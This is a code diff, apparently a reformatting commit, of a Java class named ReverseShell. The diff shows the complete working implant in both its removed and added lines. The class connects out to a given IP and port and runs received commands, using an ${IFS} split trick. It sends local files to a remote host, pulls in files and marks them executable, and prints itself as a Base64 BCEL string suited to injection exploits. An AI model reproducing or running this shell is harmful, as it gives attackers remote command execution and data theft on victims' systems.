1515
1616public class ReverseShell implements Runnable {
1717
18- private String ip ;
19- private Integer port ;
18+ private String ip ;
19+ private Integer port ;
2020
21- private InputStream inputStream ;
22- private OutputStream outputStream ;
21+ private InputStream inputStream ;
22+ private OutputStream outputStream ;
2323
24- public ReverseShell (String ip , Integer port ) {
25- this .ip = ip ;
26- this .port = port ;
27- new Thread (this ).start ();
28- }
29-
30- public ReverseShell (InputStream inputStream , OutputStream outputStream ) {
31- this .inputStream = inputStream ;
32- this .outputStream = outputStream ;
33- new Thread (this ).start ();
34- }
24+ public ReverseShell (String ip , Integer port ) {
25+ this .ip = ip ;
26+ this .port = port ;
27+ new Thread (this ).start ();
28+ }
3529
36- @ Override
37- public void run () {
38- if (outputStream != null && inputStream != null ) {
39- try {
40- BufferedWriter bufferedWriter = new BufferedWriter (new OutputStreamWriter (outputStream ));
41- BufferedReader read = new BufferedReader (new InputStreamReader (inputStream ));
42- String line2 ;
43- while ((line2 = read .readLine ()) != null ) {
44- bufferedWriter .write (line2 );
45- bufferedWriter .newLine ();
46- bufferedWriter .flush ();
47- }
48- } catch (Exception e ) {}
49- } else {
50- try {
51- Socket socket = new Socket (ip , port );
52- BufferedWriter bufferedWriter = new BufferedWriter (
53- new OutputStreamWriter (socket .getOutputStream ()));
54- bufferedWriter .write ("success!" );
55- bufferedWriter .newLine ();
56- bufferedWriter .flush ();
30+ public ReverseShell (InputStream inputStream , OutputStream outputStream ) {
31+ this .inputStream = inputStream ;
32+ this .outputStream = outputStream ;
33+ new Thread (this ).start ();
34+ }
5735
58- BufferedReader bufferedReader = new BufferedReader (new InputStreamReader (socket .getInputStream ()));
59- while (true ) {
60- String line = bufferedReader .readLine ();
61- if (line .equals ("exit" ))
62- return ;
63- Process pro = null ;
64- try {
65- if (line .startsWith ("${IFS}" )) {
66- line = line .substring (6 );
67- String [] cmd = line .split ("\\ $\\ {IFS\\ }" );
68- pro = Runtime .getRuntime ().exec (cmd );
69- } else if (line .startsWith ("download" )) {
70- line = line .substring (8 ).trim ();
71- String [] cmd = line .split (" " );
72- String file = cmd [0 ];
73- String ip = cmd [1 ];
74- String port = cmd [2 ];
75- byte [] bytes = Files .readAllBytes (Paths .get (file ));
76- Socket transferFileSocket = new Socket (ip , Integer .parseInt (port ));
77- transferFileSocket .getOutputStream ().write (bytes );
78- transferFileSocket .getOutputStream ().flush ();
79- transferFileSocket .getOutputStream ().close ();
80- transferFileSocket .close ();
81- } else if (line .startsWith ("upload" )) {
82- line = line .substring (6 ).trim ();
83- String [] cmd = line .split (" " );
84- String file = cmd [0 ];
85- String ip = cmd [1 ];
86- String port = cmd [2 ];
87- Socket transferFileSocket = new Socket (ip , Integer .parseInt (port ));
88- InputStream inputStream = transferFileSocket .getInputStream ();
89- Path path = Paths .get (file );
90- Files .copy (inputStream , path );
91- if (Files .exists (path )) {
92- File toSetFile = path .toFile ();
93- toSetFile .setExecutable (true );
94- toSetFile .setReadable (true );
95- toSetFile .setWritable (true );
96- }
97- inputStream .close ();
98- transferFileSocket .close ();
99- } else {
100- pro = Runtime .getRuntime ().exec (line );
101- }
102- } catch (Exception e ) {
103- bufferedWriter .write (e .getMessage ());
104- bufferedWriter .newLine ();
105- bufferedWriter .flush ();
106- }
107- if (pro == null ) {
108- continue ;
109- }
36+ @ Override
37+ public void run () {
38+ if (outputStream != null && inputStream != null ) {
39+ try {
40+ BufferedWriter bufferedWriter = new BufferedWriter (new OutputStreamWriter (outputStream ));
41+ BufferedReader read = new BufferedReader (new InputStreamReader (inputStream ));
42+ String line2 ;
43+ while ((line2 = read .readLine ()) != null ) {
44+ bufferedWriter .write (line2 );
45+ bufferedWriter .newLine ();
46+ bufferedWriter .flush ();
47+ }
48+ } catch (Exception e ) {
49+ }
50+ } else {
51+ try {
52+ Socket socket = new Socket (ip , port );
53+ BufferedWriter bufferedWriter = new BufferedWriter (
54+ new OutputStreamWriter (socket .getOutputStream ()));
55+ bufferedWriter .write ("success!" );
56+ bufferedWriter .newLine ();
57+ bufferedWriter .flush ();
11058
111- new ReverseShell (pro .getInputStream (), socket .getOutputStream ());
112- new ReverseShell (pro .getErrorStream (), socket .getOutputStream ());
113- }
59+ BufferedReader bufferedReader = new BufferedReader (
60+ new InputStreamReader (socket .getInputStream ()));
61+ while (true ) {
62+ String line = bufferedReader .readLine ();
63+ if (line .equals ("exit" )) {
64+ return ;
65+ }
66+ Process pro = null ;
67+ try {
68+ if (line .startsWith ("${IFS}" )) {
69+ line = line .substring (6 );
70+ String [] cmd = line .split ("\\ $\\ {IFS\\ }" );
71+ pro = Runtime .getRuntime ().exec (cmd );
72+ } else if (line .startsWith ("download" )) {
73+ line = line .substring (8 ).trim ();
74+ String [] cmd = line .split (" " );
75+ String file = cmd [0 ];
76+ String ip = cmd [1 ];
77+ String port = cmd [2 ];
78+ byte [] bytes = Files .readAllBytes (Paths .get (file ));
79+ Socket transferFileSocket = new Socket (ip , Integer .parseInt (port ));
80+ transferFileSocket .getOutputStream ().write (bytes );
81+ transferFileSocket .getOutputStream ().flush ();
82+ transferFileSocket .getOutputStream ().close ();
83+ transferFileSocket .close ();
84+ } else if (line .startsWith ("upload" )) {
85+ line = line .substring (6 ).trim ();
86+ String [] cmd = line .split (" " );
87+ String file = cmd [0 ];
88+ String ip = cmd [1 ];
89+ String port = cmd [2 ];
90+ Socket transferFileSocket = new Socket (ip , Integer .parseInt (port ));
91+ InputStream inputStream = transferFileSocket .getInputStream ();
92+ Path path = Paths .get (file );
93+ Files .copy (inputStream , path );
94+ if (Files .exists (path )) {
95+ File toSetFile = path .toFile ();
96+ toSetFile .setExecutable (true );
97+ toSetFile .setReadable (true );
98+ toSetFile .setWritable (true );
99+ }
100+ inputStream .close ();
101+ transferFileSocket .close ();
102+ } else {
103+ pro = Runtime .getRuntime ().exec (line );
104+ }
105+ } catch (Exception e ) {
106+ bufferedWriter .write (e .getMessage ());
107+ bufferedWriter .newLine ();
108+ bufferedWriter .flush ();
109+ }
110+ if (pro == null ) {
111+ continue ;
112+ }
114113
115- } catch (IOException e ) {}
114+ new ReverseShell (pro .getInputStream (), socket .getOutputStream ());
115+ new ReverseShell (pro .getErrorStream (), socket .getOutputStream ());
116116 }
117+
118+ } catch (IOException e ) {
119+ }
117120 }
121+ }
118122
119- public static void main (String [] args ) throws Exception {
120- InputStream inputStream = ReverseShell .class .getResourceAsStream ("ReverseShell.class" );
121- byte [] bytes = new byte [inputStream .available ()];
122- inputStream .read (bytes );
123- String code = Utility .encode (bytes , true );
124- System .out .println (Base64 .getEncoder ().encodeToString (("$$BCEL$$" + code ).getBytes ()));
123+ public static void main (String [] args ) throws Exception {
124+ InputStream inputStream = ReverseShell .class .getResourceAsStream ("ReverseShell.class" );
125+ byte [] bytes = new byte [inputStream .available ()];
126+ inputStream .read (bytes );
127+ String code = Utility .encode (bytes , true );
128+ System .out .println (Base64 .getEncoder ().encodeToString (("$$BCEL$$" + code ).getBytes ()));
125129// new ReverseShell("127.0.0.1", 12345);
126- }
130+ }
127131}
0 commit comments